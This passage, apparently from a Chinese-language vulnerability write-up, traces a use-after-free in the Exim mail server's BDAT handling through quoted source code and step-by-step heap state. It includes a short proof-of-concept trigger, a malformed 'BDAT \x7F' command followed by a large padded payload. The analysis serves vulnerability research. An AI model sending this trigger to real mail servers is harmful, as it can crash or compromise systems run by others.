class="pun">,</span><span class="pln"> US</span><span class="str">"LAST"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">?</span><span class="pln"> CHUNKING_LAST </span><span class="pun">:</span><span class="pln"> CHUNKING_ACTIVE</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> chunking_data_left </span><span class="pun">=</span><span class="pln"> chunking_datasize</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> DEBUG</span><span class="pun">(</span><span class="pln">D_receive</span><span class="pun">)</span><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"chunking state %d, %d bytes\n"</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">int</span><span class="pun">)</span><span class="pln">chunking_state</span><span class="pun">,</span><span class="pln"> chunking_data_left</span><span class="pun">);</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_datasize </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_state </span><span class="pun">==</span><span class="pln"> CHUNKING_LAST</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOD</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">504</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln"> US</span><span class="str">"zero size for BDAT command"</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> repeat_until_rset</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> receive_getc </span><span class="pun">=</span><span class="pln"> bdat_getc</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> receive_getbuf </span><span class="pun">=</span><span class="pln"> bdat_getbuf</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> receive_ungetc </span><span class="pun">=</span><span class="pln"> bdat_ungetc</span><span class="pun">;</span></code></li><li class="L4"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L5"><code><span class="pln"> dkim_collect_input </span><span class="pun">=</span><span class="pln"> dkim_save</span><span class="pun">;</span></code></li><li class="L6"><code><span class="com">#endif</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* to top of main loop */</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L1"><code><span class="pun">}</span></code></li></ol> |
BDAT命令进入下面这个分支:
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">f </span><span class="pun">(</span><span class="pln">sscanf</span><span class="pun">(</span><span class="pln">CS smtp_cmd_data</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%u %n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">chunking_datasize</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">n</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">501</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> US</span><span class="str">"missing size for BDAT command"</span><span class="pun">);</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol> |
因为\x7F
所以sscanf获取长度失败,进入synprot_error
函数,该函数同样是位于smtp_in.c
文件中:
1 |
<ol class="linenums"><li class="L0"><code><span class="kwd">static</span><span class="pln"> </span><span class="kwd">int</span></code></li><li class="L1"><code><span class="pln">synprot_error</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> type</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> code</span><span class="pun">,</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">data</span><span class="pun">,</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">errmess</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="kwd">int</span><span class="pln"> </span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">-</span><span class="lit">1</span><span class="pun">;</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln">log_write</span><span class="pun">(</span><span class="pln">type</span><span class="pun">,</span><span class="pln"> LOG_MAIN</span><span class="pun">,</span><span class="pln"> </span><span class="str">"SMTP %s error in \"%s\" %s %s"</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">(</span><span class="pln">type </span><span class="pun">==</span><span class="pln"> L_smtp_syntax_error</span><span class="pun">)?</span><span class="pln"> </span><span class="str">"syntax"</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="str">"protocol"</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln"> string_printing</span><span class="pun">(</span><span class="pln">smtp_cmd_buffer</span><span class="pun">),</span><span class="pln"> host_and_ident</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">),</span><span class="pln"> errmess</span><span class="pun">);</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(++</span><span class="pln">synprot_error_count </span><span class="pun">></span><span class="pln"> smtp_max_synprot_errors</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> log_write</span><span class="pun">(</span><span class="lit">0</span><span class="pun">,</span><span class="pln"> LOG_MAIN</span><span class="pun">|</span><span class="pln">LOG_REJECT</span><span class="pun">,</span><span class="pln"> </span><span class="str">"SMTP call from %s dropped: too many "</span></code></li><li class="L3"><code><span class="pln"> </span><span class="str">"syntax or protocol errors (last command was \"%s\")"</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> host_and_ident</span><span class="pun">(</span><span class="pln">FALSE</span><span class="pun">),</span><span class="pln"> string_printing</span><span class="pun">(</span><span class="pln">smtp_cmd_buffer</span><span class="pun">));</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">code </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> smtp_printf</span><span class="pun">(</span><span class="str">"%d%c%s%s%s\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">,</span><span class="pln"> code</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="pun">?</span><span class="pln"> </span><span class="str">'-'</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="str">' '</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> data </span><span class="pun">?</span><span class="pln"> data </span><span class="pun">:</span><span class="pln"> US</span><span class="str">""</span><span class="pun">,</span><span class="pln"> data </span><span class="pun">?</span><span class="pln"> US</span><span class="str">": "</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> US</span><span class="str">""</span><span class="pun">,</span><span class="pln"> errmess</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln"> smtp_printf</span><span class="pun">(</span><span class="str">"%d Too many syntax or protocol errors\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">,</span><span class="pln"> code</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">return</span><span class="pln"> </span><span class="kwd">yield</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pun">}</span></code></li></ol> |
然后在synprot_error
函数中有一个string_printing
函数,位于src/string.c代码中:
1 |
<ol class="linenums"><li class="L0"><code><span class="kwd">const</span><span class="pln"> uschar </span><span class="pun">*</span></code></li><li class="L1"><code><span class="pln">string_printing2</span><span class="pun">(</span><span class="kwd">const</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">s</span><span class="pun">,</span><span class="pln"> BOOL allow_tab</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="kwd">int</span><span class="pln"> nonprintcount </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L4"><code><span class="kwd">int</span><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L5"><code><span class="kwd">const</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">t </span><span class="pun">=</span><span class="pln"> s</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">uschar </span><span class="pun">*</span><span class="pln">ss</span><span class="pun">,</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">;</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">while</span><span class="pln"> </span><span class="pun">(*</span><span class="pln">t </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> c </span><span class="pun">=</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">++;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">mac_isprint</span><span class="pun">(</span><span class="pln">c</span><span class="pun">)</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">allow_tab </span><span class="pun">&&</span><span class="pln"> c </span><span class="pun">==</span><span class="pln"> </span><span class="str">'\t'</span><span class="pun">))</span><span class="pln"> nonprintcount</span><span class="pun">++;</span></code></li><li class="L2"><code><span class="pln"> length</span><span class="pun">++;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">nonprintcount </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> s</span><span class="pun">;</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="com">/* Get a new block of store guaranteed big enough to hold the</span></code></li><li class="L8"><code><span class="com">expanded string. */</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">ss </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">length </span><span class="pun">+</span><span class="pln"> nonprintcount </span><span class="pun">*</span><span class="pln"> </span><span class="lit">3</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="com">/* Copy everything, escaping non printers. */</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">t </span><span class="pun">=</span><span class="pln"> s</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln">tt </span><span class="pun">=</span><span class="pln"> ss</span><span class="pun">;</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">while</span><span class="pln"> </span><span class="pun">(*</span><span class="pln">t </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> c </span><span class="pun">=</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">mac_isprint</span><span class="pun">(</span><span class="pln">c</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">allow_tab </span><span class="pun">||</span><span class="pln"> c </span><span class="pun">!=</span><span class="pln"> </span><span class="str">'\t'</span><span class="pun">))</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">++;</span><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'\\'</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">switch</span><span class="pln"> </span><span class="pun">(*</span><span class="pln">t</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\n'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'n'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\r'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'r'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\b'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'b'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\v'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'v'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\f'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'f'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\t'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'t'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">default</span><span class="pun">:</span><span class="pln"> sprintf</span><span class="pun">(</span><span class="pln">CS tt</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%03o"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">);</span><span class="pln"> tt </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln"> t</span><span class="pun">++;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">tt </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L7"><code><span class="kwd">return</span><span class="pln"> ss</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pun">}</span></code></li></ol> |
在string_printing2
函数中,用到store_get
, 长度为length + nonprintcount * 3 + 1
,比如BDAT \x7F
这句命令,就是6+1*3+1 => 0x0a
,我们继续跟踪store中的全局变量,因为0xa < yield_length
,所以直接使用的Exim的堆分配,不会用到malloc,只有当上一次malloc 0x2000的内存用完或不够用时,才会再进行malloc
- 0xa 对齐-> 0x10
- return next_yield = heap1+0x110
- next_yield = heap1+0x120
- yield_length = 0x1f00 - 0x10 = 0x1ef0
最后一步,就是PoC中的发送大量数据去触发UAF:
1 |
<ol class="linenums"><li class="L0"><code><span class="pln">s </span><span class="pun">=</span><span class="pln"> </span><span class="str">'a'</span><span class="pun">*</span><span class="lit">6</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> p64</span><span class="pun">(</span><span class="lit">0xdeadbeef</span><span class="pun">)*(</span><span class="lit">0x1e00</span><span class="pun">/</span><span class="lit">8</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln">r</span><span class="pun">.</span><span class="pln">send</span><span class="pun">(</span><span class="pln">s</span><span class="pun">+</span><span class="pln"> </span><span class="str">':\r\n'</span><span class="pun">)</span></code></li></ol> |
再回到receive.c
文件中,读取用户输入的是1788行的循环,然后根据meh所说,UAF的触发点是下面这几行代码:
1 |
<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">>=</span><span class="pln"> header_size </span><span class="pun">-</span><span class="pln"> </span><span class="lit">4</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> oldsize </span><span class="pun">=</span><span class="pln"> header_size</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/* header_size += 256; */</span></code></li><li class="L4"><code><span class="pln"> header_size </span><span class="pun">*=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">store_extend</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> header_size</span><span class="pun">))</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">newtext </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> memcpy</span><span class="pun">(</span><span class="pln">newtext</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pln"> store_release</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> newtext</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol> |
当输入的数据大于等于0x100-4
时,会触发store_extend
函数,next->text
的值上面提了,是heap1+0x10
,oldsize=0x100, header_size = 0x100*2 = 0x200
然后在store_extend
中,有这几行判断代码:
1 |
<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">CS ptr </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">!=</span><span class="pln"> CS </span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span></code></li><li class="L1"><code><span class="pln"> inc </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li></ol> |
其中next_yield = heap1+0x120
, ptr + 0x100 = heap1+0x110
因为判断的条件为true,所以store_extend
返回False
这是因为在之前string_printing
函数中中分配了一段内存,所以在receive_msg
中导致堆不平衡了,
随后进入分支会修补这种不平衡,执行store_get(0x200)
- return next_yield = heap1+0x120
- next_yield = heap1+0x320
- yield_length = 0x1ef0 - 0x200 = 0x1cf0
然后把用户输入的数据复制到新的堆中
随后执行store_release
函数,问题就在这里了,之前申请的0x2000的堆还剩0x1cf0,并没有用完,但是却对其执行glibc的free操作,但是之后这个free后的堆却仍然可以使用,这就是我们所知的UAF, 释放后重用漏洞
1 |
<ol class="linenums"><li class="L0"><code><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">=</span><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span><span class="pln"> b </span><span class="pun">!=</span><span class="pln"> NULL</span><span class="pun">;</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> storeblock </span><span class="pun">*</span><span class="pln">bb </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">bb </span><span class="pun">!=</span><span class="pln"> NULL </span><span class="pun">&&</span><span class="pln"> CS block </span><span class="pun">==</span><span class="pln"> CS bb </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> bb</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">.......</span></code></li><li class="L7"><code><span class="pln"> free</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">return</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol> |
其中,bb = chainbase->next = heap1
, 而且next->text == bb + 0x10
所以能成功执行free(bb)
因为输入了大量的数据,所以随后还会执行:
- store_extend(next->text, 0x200, 0x400)
- store_extend(next->text, 0x400, 0x800)
- store_extend(next->text, 0x800, 0x1000)
但是这些都不能满足判断:if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) || inc > yield_length[store_pool] + rounded_oldsize - oldsize)
所以都是返回true,不会进入到下面分支
但是到store_extend(next->text, 0x1000, 0x2000)
的时候,因为满足了第二个判断0x2000-0x1000 > yield_length[store_pool]
, 所以又一次返回了False
所以再一次进入分支,调用store_get(0x2000)
因为0x2000 > yield_length
所以进入该分支:
1 |
<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun"><=</span><span class="pln"> STORE_BLOCK_SIZE</span><span class="pun">)?</span><span class="pln"> STORE_BLOCK_SIZE </span><span class="pun">:</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> mlength </span><span class="pun">=</span><span class="pln"> length </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> storeblock </span><span class="pun">*</span><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">&&</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun"><</span><span class="pln"> length</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> </span><span class="com">/* Give up on this block, because it's too small */</span></code></li><li class="L2"><code><span class="pln"> store_free</span><span class="pun">(</span><span class="pln">newblock</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">newblock</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> pool_malloc </span><span class="pun">+=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* Used in pools */</span></code></li><li class="L9"><code><span class="pln"> nonpool_malloc </span><span class="pun">-=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* Exclude from overall total */</span></code></li><li class="L0"><code><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> store_malloc</span><span class="pun">(</span><span class="pln">mlength</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun">=</span><span class="pln"> length</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L4"><code><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L6"><code><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length</span><span 